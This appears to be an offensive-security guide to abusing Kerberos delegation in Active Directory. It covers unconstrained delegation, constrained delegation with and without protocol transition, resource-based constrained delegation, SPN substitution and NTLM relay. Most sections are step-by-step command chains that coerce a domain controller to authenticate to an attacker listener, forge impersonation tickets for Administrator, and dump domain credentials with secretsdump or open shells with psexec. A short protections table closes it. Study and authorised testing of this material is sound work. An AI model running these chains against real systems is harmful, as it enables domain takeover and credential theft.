Skip to main content
Delegation solves the double-hop problem: when a user authenticates to Service A via Kerberos, Service A cannot forward that Kerberos identity to Service B on its own. The TGT never left the client. Delegation was designed to fix this, and each type has a different trust model and attack surface.

S4U Extensions

Two Kerberos extensions underpin all constrained delegation abuse:
S4U2Self and S4U2Proxy authentication flow diagram
S4U2Self (Service-for-User-to-Self): Allows a service to request a forwardable service ticket to itself on behalf of any user, without that user’s password or prior authentication. Requires the account to have an SPN and TRUSTED_TO_AUTH_FOR_DELEGATION set.
KANYO$ → KDC: "give me a service ticket for KANYO$ as Administrator"
KDC    → checks TRUSTED_TO_AUTH_FOR_DELEGATION on KANYO$
KDC    → issues ticket: "Administrator authenticated to KANYO$"
S4U2Proxy (Service-for-User-to-Proxy): Allows a service to use a forwardable TGS (from S4U2Self or a real user auth) to request a ticket to a third service. On classic constrained delegation, the KDC validates the target SPN against msDS-AllowedToDelegateTo. On RBCD, it validates the source against msDS-AllowedToActOnBehalfOfOtherIdentity on the target.
KANYO$ → KDC: "use this ticket to get cifs/DC1 as Administrator"
KDC    → checks msDS-AllowedToDelegateTo → sees cifs/DC1 is allowed
KDC    → issues: "Administrator's ticket for cifs/DC1"
Windows AD delegation tab showing unconstrained and constrained delegation options

userAccountControl Bitmask

Every AD object has a userAccountControl bitmask controlling account behaviour. Delegation-relevant flags:
ValueFlagMeaning
512NORMAL_ACCOUNTStandard user account
4096WORKSTATION_TRUST_ACCOUNTMachine account
524288TRUSTED_FOR_DELEGATIONUnconstrained delegation enabled
5283844096 + 524288Machine account with unconstrained delegation
16777216TRUSTED_TO_AUTH_FOR_DELEGATIONProtocol transition (T2A4D)
167813124096 + 16777216Machine account with protocol transition (constrained delegation)
# Set unconstrained delegation on a machine account you control
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  set object '$COMP_NAME' userAccountControl -v 528384

# Set constrained delegation (protocol transition) on a machine account
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  set object '$COMP_NAME' userAccountControl -v 16781312

SeEnableDelegationPrivilege

Normally only Domain Admins can set delegation flags. This privilege grants that ability to non-admin accounts. If a low-priv user has it, they can configure delegation on any account they control without DA — then immediately exploit it.
N.Thompson has SeEnableDelegationPrivilege
  → Sets msDS-AllowedToDelegateTo = [cifs/dc1.domain.local] on KANYO$
  → Sets userAccountControl = 16781312 on KANYO$ (T2A4D + workstation)
  → Runs getST.py as KANYO$ to impersonate Administrator to cifs/DC1
  → DCSync
# Grant KANYO$ constrained delegation to cifs/DC1
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  set object '$COMP_NAME' msDS-AllowedToDelegateTo -v "cifs/$DC_HOST"

# Enable protocol transition (T2A4D) on KANYO$ so S4U2Self works
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  set object '$COMP_NAME' userAccountControl -v 16781312

# Impersonate Administrator to cifs/DC1 in one step
getST.py -spn "cifs/$DC_HOST" -impersonate Administrator \
  -dc-ip $DC_IP "$DOMAIN/$COMP_NAME:$COMP_PASS"

export KRB5CCNAME="Administrator@cifs_$DC_HOST@${DOMAIN^^}.ccache"
secretsdump.py -k -no-pass $DC_HOST

Unconstrained Delegation

Unconstrained delegation flow
The service can impersonate the user against any service in the domain. Set via the TRUSTED_FOR_DELEGATION flag on the account. When a user authenticates to an unconstrained delegation host, the KDC embeds their full TGT in the service ticket. The host extracts and caches it in LSASS. Attack goal: coerce a privileged account (usually the DC machine account) into authenticating to the compromised host, extract its TGT, then DCSync. Requirements:
  • Compromised account with TRUSTED_FOR_DELEGATION set (a computer or service account)
  • Account has an SPN (machine accounts always do)
  • DNS write access to register an A record for your attacker listener
  • Ability to coerce outbound auth from a privileged account (PetitPotam, printerbug, etc.)
Accounts in the Protected Users group and accounts flagged sensitive and cannot be delegated have their TGTs excluded. Exception: the native Administrator (RID 500) bypasses this even if added to Protected Users.

Enumeration

# bloodyAD
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST msldap unconstrained

# nxc
nxc ldap $DC_IP -u $USER -p $PASSWORD --trusted-for-delegation
# PowerView (exclude DCs — they have it by default)
Get-DomainComputer -Unconstrained | Where-Object { $_.distinguishedname -notmatch 'Domain Controllers' } | Select-Object name, dnshostname
Get-DomainUser -AllowDelegation | Select-Object samaccountname

Exploitation (krbrelayx)

The most reliable approach from Linux. You add an SPN to the compromised account pointing at your attacker host, register a DNS record for it, then coerce the DC to authenticate. krbrelayx captures the incoming AP-REQ and extracts the embedded TGT.
# Step 1: Add an SPN to the compromised account pointing at your listener
# Salt format for computers: DOMAIN.LOCALhostfqdn.domain.local
addspn.py -u '$DOMAIN\$COMP_NAME$' -p '$COMP_PASS' \
  -s 'HOST/$LHOSTNAME.$DOMAIN' --additional $DC_HOST

# Step 2: Add a DNS A record for your attacker hostname
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  add dnsRecord '$LHOSTNAME.$DOMAIN' $LHOST

# Wait ~3 minutes for DNS propagation, then verify
nslookup $LHOSTNAME.$DOMAIN $DC_HOST

# Step 3: Start krbrelayx with the compromised account's credentials or AES key
krbrelayx.py --krbsalt '${DOMAIN^^}host$LHOSTNAME.$DOMAIN' --krbpass '$COMP_PASS'
# or with AES256 key
krbrelayx.py -aesKey $AES256_KEY

# Step 4: Coerce DC authentication
printerbug.py $DOMAIN/'$COMP_NAME$':$COMP_PASS@$DC_HOST $LHOSTNAME.$DOMAIN
PetitPotam.py -u $USER -p $PASSWORD $LHOSTNAME.$DOMAIN $DC_HOST
# If error: try coercing a different DC due to replication delays

# Step 5: Export the captured TGT and DCSync
export KRB5CCNAME=$(pwd)/DC01\$.ccache
secretsdump.py -k -no-pass $DOMAIN/'DC01$'@$DC_HOST

Exploitation (Rubeus, Windows)

# On the unconstrained delegation host: monitor for incoming TGTs
Rubeus.exe monitor /interval:5 /nowrap

# Coerce from another session
.\Invoke-SpoolSample.ps1 $DC_HOST $COMPROMISED_HOST

# When the DC's TGT appears in Rubeus output, inject it
Rubeus.exe ptt /ticket:<base64_TGT>

# DCSync
secretsdump.py -k -no-pass $DOMAIN/'DC01$'@$DC_HOST

Cleanup

bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  remove dnsRecord '$LHOSTNAME.$DOMAIN' $LHOST

Constrained Delegation

Constrained delegation flow
The account has msDS-AllowedToDelegateTo set to a specific list of SPNs it can delegate to. There are two sub-variants depending on whether protocol transition is enabled. Requirements:
  • Controlled account with TRUSTED_TO_AUTH_FOR_DELEGATION set — enables S4U2Self, without it the impersonation ticket cannot be generated
  • msDS-AllowedToDelegateTo populated with a valid SPN — the SPN must be registered in AD, the KDC rejects S4U2Proxy if it can’t find the target account
  • Valid credentials for the delegating account (password, hash, or TGT) — needed to request the initial TGT to kick off the chain
  • Without protocol transition: need a controlled SPN account to generate a forwardable ticket via RBCD first, then feed it into S4U2Proxy

Enumeration

bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST msldap constrained
nxc ldap $DC_IP -u $USER -p $PASSWORD --find-delegation
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto

With Protocol Transition (T2A4D flag set)

TRUSTED_TO_AUTH_FOR_DELEGATION is set on the account. The service can call S4U2Self to obtain a forwardable ticket for any user without that user authenticating first, then feed it into S4U2Proxy.
# Full impersonation: S4U2Self + S4U2Proxy in one step
getST.py $DOMAIN/$SVC_ACCOUNT:$PASSWORD \
  -spn cifs/$TARGET.$DOMAIN \
  -impersonate Administrator \
  -dc-ip $DC_IP

export KRB5CCNAME="Administrator@cifs_$TARGET.${DOMAIN}@${DOMAIN^^}.ccache"
psexec.py -k -no-pass Administrator@$TARGET.$DOMAIN
secretsdump.py -k -no-pass $DOMAIN/Administrator@$TARGET.$DOMAIN

Without Protocol Transition

S4U2Self cannot produce a forwardable ticket on its own. Workaround: configure RBCD from the constrained delegation account to an attacker-controlled account, use that RBCD path to get a forwardable ticket, then feed it back into S4U2Proxy.
# Step 1: Set RBCD on the constrained delegation account — allow EVIL$ to delegate to it
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  add rbcd '$SVC_ACCOUNT' '$COMP_NAME'

# Step 2: Get forwardable ticket via RBCD (S4U2Self + S4U2Proxy to svcAccount)
getST.py $DOMAIN/'$COMP_NAME':$COMP_PASS \
  -spn cifs/$SVC_ACCOUNT.$DOMAIN \
  -impersonate Administrator \
  -dc-ip $DC_IP

# Step 3: Use that ticket as input to constrained delegation's S4U2Proxy
getST.py $DOMAIN/$SVC_ACCOUNT:$PASSWORD \
  -spn cifs/$TARGET.$DOMAIN \
  -impersonate Administrator \
  -additional-ticket "Administrator@cifs_$SVC_ACCOUNT.${DOMAIN}@${DOMAIN^^}.ccache" \
  -dc-ip $DC_IP

export KRB5CCNAME="Administrator@cifs_$TARGET.${DOMAIN}@${DOMAIN^^}.ccache"
psexec.py -k -no-pass Administrator@$TARGET.$DOMAIN

altservice: SPN Substitution

If delegation rights exist to a low-value SPN (e.g., time/target), substitute it for a useful one. The KDC only checks the PAC at ticket-use time, not whether the SPN matches the allowed list.
# Delegation is to: time/target.domain.local — swap it for cifs
getST.py $DOMAIN/$SVC_ACCOUNT:$PASSWORD \
  -spn time/$TARGET.$DOMAIN \
  -impersonate Administrator \
  -altservice cifs \
  -dc-ip $DC_IP

export KRB5CCNAME="Administrator@cifs_$TARGET.${DOMAIN}@${DOMAIN^^}.ccache"
smbexec.py -k -no-pass Administrator@$TARGET.$DOMAIN

RBCD (Resource-Based Constrained Delegation)

RBCD flow
Instead of the source account controlling where it can delegate, the target resource defines which accounts it trusts to impersonate users to it. Set via msDS-AllowedToActOnBehalfOfOtherIdentity on the target. Requires only write access to that attribute — no Domain Admin. Requirements:
  • Write access on the target object’s msDS-AllowedToActOnBehalfOfOtherIdentity (GenericAll, GenericWrite, WriteProperty, or WriteDACL)
  • A controlled account with an SPN: machine account (MachineAccountQuota > 0) or existing user/computer with an SPN
  • If MachineAccountQuota = 0: use an existing SPN account or the SPN-less U2U path below
  • DC functional level: Windows Server 2012+

Enumeration

bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST msldap s4u2proxy
nxc ldap $DC_IP -u $USER -p $PASSWORD --find-delegation

Standard Attack Chain

# Step 1: Create a machine account if MachineAccountQuota > 0
nxc ldap $DC_IP -u $USER -p $PASSWORD -M maq
addcomputer.py $DOMAIN/$USER:$PASSWORD -computer-name '$COMP_NAME' -computer-pass $COMP_PASS -dc-ip $DC_IP

# Step 2: Grant RBCD — tell TARGET$ to trust COMP_NAME$ to act on its behalf
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  add rbcd 'TARGET$' '$COMP_NAME'

# Verify the attribute was written
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  get object 'TARGET$' --attr msDS-AllowedToActOnBehalfOfOtherIdentity

# Step 3: S4U2Self + S4U2Proxy → get a ST impersonating Administrator to TARGET$
getST.py $DOMAIN/'$COMP_NAME':$COMP_PASS \
  -spn cifs/TARGET.$DOMAIN \
  -impersonate Administrator \
  -dc-ip $DC_IP

# Step 4: Use the ticket
export KRB5CCNAME="Administrator@cifs_TARGET.${DOMAIN}@${DOMAIN^^}.ccache"
psexec.py -k -no-pass Administrator@TARGET.$DOMAIN
wmiexec.py -k -no-pass Administrator@TARGET.$DOMAIN
secretsdump.py -k -no-pass $DOMAIN/Administrator@TARGET.$DOMAIN

# Step 5: Clean up
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  remove rbcd 'TARGET$' '$COMP_NAME'

SPN-less User (MachineAccountQuota = 0)

When you can’t create a machine account and have no existing SPN account, use a sacrificial user account via U2U (User-to-User authentication). This overwrites the account’s NT hash, so it becomes unusable for normal auth afterwards — restore it immediately.
# Step 1: Get a TGT for the sacrificial user via overpass-the-hash
getTGT.py $DOMAIN/$SPN_LESS_USER -hashes :$(pypykatz crypto nt '$PASSWORD') -dc-ip $DC_IP
export KRB5CCNAME=$(pwd)/$SPN_LESS_USER.ccache

# Step 2: Extract the TGT session key
describeTicket.py $SPN_LESS_USER.ccache | grep 'Ticket Session Key'

# Step 3: Overwrite the user's NT hash with the TGT session key
changepasswd.py -newhashes :$TGT_SESSION_KEY \
  $DOMAIN/$SPN_LESS_USER:$PASSWORD@$DC_HOST

# Step 4: Set RBCD from the spn-less user to TARGET$
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  add rbcd 'TARGET$' '$SPN_LESS_USER'

# Step 5: S4U2Self (U2U) + S4U2Proxy
KRB5CCNAME=$SPN_LESS_USER.ccache getST.py \
  -u2u -impersonate Administrator \
  -spn host/TARGET.$DOMAIN \
  -k -no-pass \
  $DOMAIN/$SPN_LESS_USER -dc-ip $DC_IP

# Step 6: Restore the original NT hash immediately
changepasswd.py -hashes :$TGT_SESSION_KEY -newhashes :$ORIGINAL_HASH \
  $DOMAIN/$SPN_LESS_USER@$DC_HOST

# Step 7: Use the ticket
export KRB5CCNAME="Administrator@host_TARGET.${DOMAIN}@${DOMAIN^^}.ccache"
secretsdump.py -k -no-pass $DOMAIN/Administrator@TARGET.$DOMAIN

Via NTLM Relay

If you can relay an incoming NTLM auth from a privileged account, write RBCD directly during the relay without needing separate write access.
ntlmrelayx.py -t ldap://$DC_HOST --delegate-access --escalate-user '$COMP_NAME$'

Unconstrained vs Constrained

UnconstrainedConstrained
ApproachPassive: wait for coercionActive: request ticket yourself
Coercion neededYes (PetitPotam, printerbug)No
SetupDNS record + SPN on compromised hostmsDS-AllowedToDelegateTo
What you getFull TGT of the victimForwardable service ticket
ScopeAny service in the domainOnly the configured SPNs

Protections

ProtectionEffect
Protected Users groupTGT not forwarded in delegation; S4U2Self blocked (except RID 500 Administrator)
Account is sensitive and cannot be delegatedCannot be impersonated via any delegation type
SeEnableDelegationPrivilege absentLow-priv users cannot set delegation flags even on accounts they create
KB4577252 / CVE-2020-16996Patches S4U2Proxy validation bypass

References

S4U2Pwnage

harmj0y’s deep-dive into S4U2Self and S4U2Proxy abuse, the original research behind most constrained delegation and RBCD attack chains

The Most Dangerous User Right You've Never Heard Of

harmj0y on SeEnableDelegationPrivilege: why it matters, how to find it, and what an attacker can do with it

Kerberos Delegations - The Hacker Recipes

Comprehensive delegation reference covering unconstrained, constrained, and RBCD with attack chains and tooling